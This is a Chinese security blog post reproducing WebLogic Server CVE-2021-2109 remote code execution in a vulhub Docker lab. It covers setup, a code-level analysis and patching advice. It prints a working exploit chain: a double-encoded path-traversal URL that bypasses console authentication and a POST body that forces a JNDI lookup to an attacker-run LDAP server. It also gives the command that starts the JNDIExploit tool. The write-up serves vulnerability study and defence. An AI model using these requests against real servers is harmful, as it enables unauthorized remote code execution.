Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现

admin 2022年1月20日01:54:22评论869 views字数 2775阅读9分15秒阅读模式

01

简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


02

漏洞概述

该漏洞为Weblogic的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可利用此漏洞远程代码执行。

影响版本

Weblogic Server 10.3.6.0.0

Weblogic Server 12.1.3.0.0

Weblogic Server 12.2.1.3.0

Weblogic Server 12.2.1.4.0

Weblogic Server 14.1.1.0.0


03

环境搭建

1. 本次漏洞环境使用vulhub中的docker搭建,下载地址

git clone https://github.com/vulhub/vulhub.git


Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


2. 使用vulhub中CVE-2020-14882漏洞为本次漏洞复现环境

cd vulhub-master/weblogic/CVE-2020-14882/docker-compose up -d


Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


4.在浏览器访问http://your-ip:7001/console,出现以下页面搭建成功

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


04

漏洞复现

1.下载LDAP,并启动LDAP,下载地址:

https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11


注:运行ldap需要java1.8环境

java -jar JNDIExploit-v1.11.jar -i 172.16.1.147


Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


3. 使用未授权漏洞配合利用,在首页url处输入以下链接,并进行抓包并发送到重放模块

/console/css/%252e%252e%252f/consolejndi.portal


Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


4. 将get改为post,并构造以下数据包。注:172.16.1;147有个点为分号

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://172.16.1;147:1389/Basic/WeblogicEcho;AdminServer%22)


Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现



05

漏洞分析

来自阿里先知云:https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw


1、这个漏洞利用的有两个关键类,第一个类是com.bea.console.handles.JndiBindingHandle 跟进这个类看下

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


2、可以看到Handle只是用来做对象的实例化,并没有执行功能,理论上Weblogic Server的console的操作大部分是建立在Action的基础上,所以我们还需要去寻找一个Action。去看一下Weblogic Server的consolejndi.portal文件,以JNDIBindingPageGeneral为关键字,发现路径指向jndibinding.portlet

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


3、继续跟进jndibinding.portlet可以找到这次利用的另一个关键的类JNDIBindingAction

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


4、继续跟进JNDIBindingAction.execute的代码

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


5、找到了JNDI注入攻击中关键的lookup函数(lookup函数的值由context和bindName决定),但这里有个前提,需要serverMBean不为空,而serverMBean是由DomainMBean.lookupServer来获取,于是在这个函数下断点

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


6、想要返回不为空,则需要传给lookupServer的值等于this._Servers中的name,而this._Servers只有一个值,利用动态调试把name的值取出

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


7、关键流程已经梳理完毕,重新去看下JNDIBindingAction的代码,如果想要实现JNDI注入攻击,我们需要满足2点要求:

·      context + "." +bindName的值要符合合法的JNDI地址格式
·      serverName的值为AdminServer


而context、bindName、serverName的值都是从bindingHandle中获取的,正巧我们可以控制JndiBindingHandle实例化的值(objectIdentifier),接着来就需要看下objectIdentifier和以上3个值有什么关系了,看一下3个成员变量的get函数,发现他们都和Component有关,

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


8、跟进getComponents函数,代码如下:

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


9、这里结合调用栈信息

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


10、可以发现components的值就是把objectIdentifier的值用分号; 分割开来,也就是说我们想要控制的值全都可以通过bjectIdentifier来控制了,PoC的构造也就水到渠成了,我们可以通过LDAP协议方式实现JNDI注入攻击,加载远程CodeBase下的恶意类 ldap://127.0.0;1:1389/EvilObject,由于代码中会自动补全一个.因此可以将context定位为ldap://127.0.0将bindName定位为1:1389/EvilObject,最后的serverName必须为AdminServer,因此构造完整的PoC后,漏洞利用效果如图:

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


06

修复建议

1、由于是通过JNDI注入进行远程命令执行,所以受到JDK版本的影响,建议升级Weblogic Server运行环境的JDK版本

2、更新最新补丁,参考Oracle官网发布的补丁:

https://www.oracle.com/security-alerts/cpujan2021.html



参考链接:

https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw

https://www.t00ls.net/thread-59470-1-1.html


免责申明:    

    本项目仅进行信息搜集,漏洞探测工作,无漏洞利用、攻击性行为,发文初衷为仅为方便安全人员对授权项目完成测试工作和学习交流使用。       请使用者遵守当地相关法律,勿用于非授权测试,勿用于非授权测试,勿用于非授权测试~~(重要的事情说三遍)~~,如作他用所承受的法律责任一概与凌晨安无关!!!

Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现


本文始发于微信公众号(凌晨安全):Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月20日01:54:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Weblogic Server(CVE-2021-2109 )远程代码执行漏洞复现http://cn-sec.com/archives/497293.html

发表评论

匿名网友 填写信息